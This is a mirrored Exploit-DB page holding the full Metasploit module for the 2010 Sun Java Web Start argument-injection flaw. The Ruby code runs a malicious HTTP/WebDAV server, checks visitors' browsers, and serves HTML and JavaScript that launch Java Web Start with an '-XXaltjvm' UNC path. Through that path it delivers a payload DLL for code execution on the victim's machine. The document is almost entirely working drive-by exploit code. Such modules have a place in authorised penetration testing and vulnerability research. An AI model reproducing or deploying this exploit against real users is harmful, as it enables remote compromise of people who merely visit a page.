Sun Java Web Start Plugin – Command Line Argument Injection (Metasploit)

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• 88 阅读

• 作者： Metasploit
  日期： 2010-04-09
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41700/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection',
  'Description'=> %q{
  This module exploits a flaw in the Web Start plugin component of Sun Java
  Web Start. The arguments passed to Java Web Start are not properly validated.
  By passing the lesser known -J option, an attacker can pass arbitrary options
  directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed
  by Ruben Santamarta, an attacker can execute arbitrary code in the context of
  an unsuspecting browser user.
  This vulnerability was originally discovered independently by both Ruben
  Santamarta and Tavis Ormandy. Tavis reported that all versions since version
  6 Update 10 "are believed to be affected by this vulnerability."
  In order for this module to work, it must be ran as root on a server that
  does not serve SMB. Additionally, the target host must have the WebClient
  service (WebDAV Mini-Redirector) enabled.
  },
  'License'=> MSF_LICENSE,
  'Author' => 'jduck',
  'References' =>
  [
  [ 'CVE', '2010-0886' ],
  [ 'CVE', '2010-1423' ],
  [ 'OSVDB', '63648' ],
  [ 'BID', '39346' ],
  [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],
  [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]
  ],
  'Platform' => 'win',
  'Payload'=>
  {
  'Space'=> 1024,
  'BadChars' => '',
  'DisableNops' => true,
  'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
  },
  'Targets'=>
  [
  [ 'Automatic', { } ],
  [ 'Java Runtime on Windows x86',
  {
  'Platform' => 'win',
  'Arch' => ARCH_X86
  }
  ],
  ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Apr 09 2010'
  ))
  
  register_options(
  [
  OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
  OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
  OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
  ], self.class)
  end
  
  
  def auto_target(cli, request)
  agent = request.headers['User-Agent']
  
  ret = nil
  #print_status("Agent: #{agent}")
  # Check for MSIE and/or WebDAV redirector requests
  if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
  ret = targets[1]
  elsif agent =~ /MSIE (6|7|8)\.0/
  ret = targets[1]
  else
  print_status("Unknown User-Agent #{agent}")
  end
  
  ret
  end
  
  
  def on_request_uri(cli, request)
  
  # For this exploit, this does little besides ensures the user agent is a recognized one..
  mytarget = target
  if target.name == 'Automatic'
  mytarget = auto_target(cli, request)
  if (not mytarget)
  send_not_found(cli)
  return
  end
  end
  
  # Special case to process OPTIONS for /
  if (request.method == 'OPTIONS' and request.uri == '/')
  process_options(cli, request, mytarget)
  return
  end
  
  # Discard requests for ico files
  if (request.uri =~ /\.ico$/i)
  send_not_found(cli)
  return
  end
  
  # If there is no subdirectory in the request, we need to redirect.
  if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
  if (request.uri == '/')
  subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
  else
  subdir = request.uri + '/'
  end
  print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
  send_redirect(cli, subdir)
  return
  else
  share_name = $1
  end
  
  # dispatch WebDAV requests based on method first
  case request.method
  when 'OPTIONS'
  process_options(cli, request, mytarget)
  
  when 'PROPFIND'
  process_propfind(cli, request, mytarget)
  
  when 'GET'
  process_get(cli, request, mytarget, share_name)
  
  when 'PUT'
  print_status("Sending 404 for PUT #{request.uri} ...")
  send_not_found(cli)
  
  else
  print_error("Unexpected request method encountered: #{request.method}")
  
  end
  
  end
  
  #
  # GET requests
  #
  def process_get(cli, request, target, share_name)
  
  print_status("Responding to \"GET #{request.uri}\" request")
  # dispatch based on extension
  if (request.uri =~ /\.dll$/i)
  #
  # DLL requests sent by IE and the WebDav Mini-Redirector
  #
  print_status("Sending DLL")
  
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)
  
  # Generate a DLL based on the payload
  dll_data = generate_payload_dll({ :code => p.encoded })
  
  # Send it :)
  send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
  
  else
  #
  # HTML requests sent by IE and Firefox
  #
  # This could probably use the Host header from the request
  my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  
  # Always prepare the UNC path, even if we dont use it for this request...
  if (datastore['UNCPATH'])
  unc = datastore['UNCPATH'].dup
  else
  unc = "\\\\" + my_host + "\\" + share_name
  end
  jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
  docbase = rand_text_alphanumeric(8+rand(8))
  
  # Provide the corresponding HTML page...
  if (request.uri =~ /\.shtml/i)
  print_status("Sending JS version HTML")
  # Javascript version...
  var_str = rand_text_alpha(8+rand(8))
  var_obj = rand_text_alpha(8+rand(8))
  var_obj2 = rand_text_alpha(8+rand(8))
  var_obj3 = rand_text_alpha(8+rand(8))
  js_jnlp = "http: "
  js_jnlp << jnlp.dup.gsub("\\", "\\\\\\\\") # jeez
  
  # The 8ad.. CLSID doesn't support the launch method ...
  #clsid = '8AD9C840-044E-11D1-B3E9-00805F499D93'
  clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
  html = %Q|<html>
  <body>Please wait...
  <script language="javascript">
  var #{var_str} = "#{js_jnlp}";
  if (window.navigator.appName == "Microsoft Internet Explorer") {
  var #{var_obj} = document.createElement("OBJECT");
  #{var_obj}.classid = "clsid:#{clsid}";
  #{var_obj}.launch(#{var_str});
  } else {
  try {
  var #{var_obj2} = document.createElement("OBJECT");
  #{var_obj2}.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
  document.body.appendChild(#{var_obj2});
  #{var_obj2}.launch(#{var_str});
  } catch (e) {
  var #{var_obj3} = document.createElement("OBJECT");
  #{var_obj3}.type = "application/java-deployment-toolkit";
  document.body.appendChild(#{var_obj3});
  #{var_obj3}.launch(#{var_str});
  }
  }
  </script>
  </body>
  </html>
  |
  elsif (request.uri =~ /\.htm/i)
  print_status("Sending non-JS version HTML")
  clsids = [ '8AD9C840-044E-11D1-B3E9-00805F499D93', 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' ]
  clsid = clsids[rand(clsids.length)]
  html = %Q|<html>
  <body>Please wait...
  <object id="#{var_obj}" classid="clsid:#{clsid}"
  width="0" height="0">
  <PARAM name="launchjnlp" value="#{jnlp}">
  <PARAM name="docbase" value="#{docbase}">
  </object>
  <embed type="application/x-java-applet"
  width="0" height="0"
  launchjnlp="#{jnlp}"
  docbase="#{docbase}"
  />
  </body>
  </html>
  |
  else
  print_status("Sending js detection HTML")
  
  # NOTE: The JS version is preferred to the HTML version since it works on more JRE versions
  js_uri = rand_text_alphanumeric(8+rand(8)) + ".shtml"
  no_js_uri = rand_text_alphanumeric(8+rand(8)) + ".htm"
  
  html = %Q|<html>
  <head>
  <meta http-equiv="refresh" content="2;#{no_js_uri}" />
  </head>
  <body>
  Please wait...
  <script language="javascript">
  document.location = "#{js_uri}";
  </script>
  </body>
  </html>
  |
  # end of detection html
  end
  
  send_response_html(cli, html,
  {
  'Content-Type' => 'text/html',
  'Pragma' => 'no-cache'
  })
  end
  
  end
  
  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request, target)
  print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request")
  headers = {
  #'DASL' => '<DAV:sql>',
  #'DAV'=> '1, 2',
  'Allow'=> 'OPTIONS, GET, PROPFIND',
  'Public' => 'OPTIONS, GET, PROPFIND'
  }
  send_response(cli, '', headers)
  end
  
  
  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request, target)
  path = request.uri
  print_status("Received WebDAV \"PROPFIND #{request.uri}\" request")
  body = ''
  
  if (path =~ /\.dll$/i)
  # Response for the DLL
  print_status("Sending DLL multistatus for #{path} ...")
  #<lp1:getcontentlength>45056</lp1:getcontentlength>
  body = %Q|<?xml version="1.0" encoding="utf-8"?>
  <D:multistatus xmlns:D="DAV:">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  <D:href>#{path}</D:href>
  <D:propstat>
  <D:prop>
  <lp1:resourcetype/>
  <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
  <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
  <lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
  <lp2:executable>F</lp2:executable>
  <D:lockdiscovery/>
  <D:getcontenttype>application/octet-stream</D:getcontenttype>
  </D:prop>
  <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
  </D:response>
  </D:multistatus>
  |
  
  elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
  # Response for anything else (generally just /)
  print_status("Sending directory multistatus for #{path} ...")
  body = %Q|<?xml version="1.0" encoding="utf-8"?>
  <D:multistatus xmlns:D="DAV:">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  <D:href>#{path}</D:href>
  <D:propstat>
  <D:prop>
  <lp1:resourcetype><D:collection/></lp1:resourcetype>
  <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
  <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
  <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
  <D:lockdiscovery/>
  <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
  </D:prop>
  <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
  </D:response>
  </D:multistatus>
  |
  
  else
  print_status("Sending 404 for #{path} ...")
  send_not_found(cli)
  return
  
  end
  
  # send the response
  resp = create_response(207, "Multi-Status")
  resp.body = body
  resp['Content-Type'] = 'text/xml'
  cli.send_response(resp)
  end
  
  
  #
  # Make sure we're on the right port/path to support WebDAV
  #
  def exploit
  if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
  fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
  end
  
  super
  end
  
  end
  

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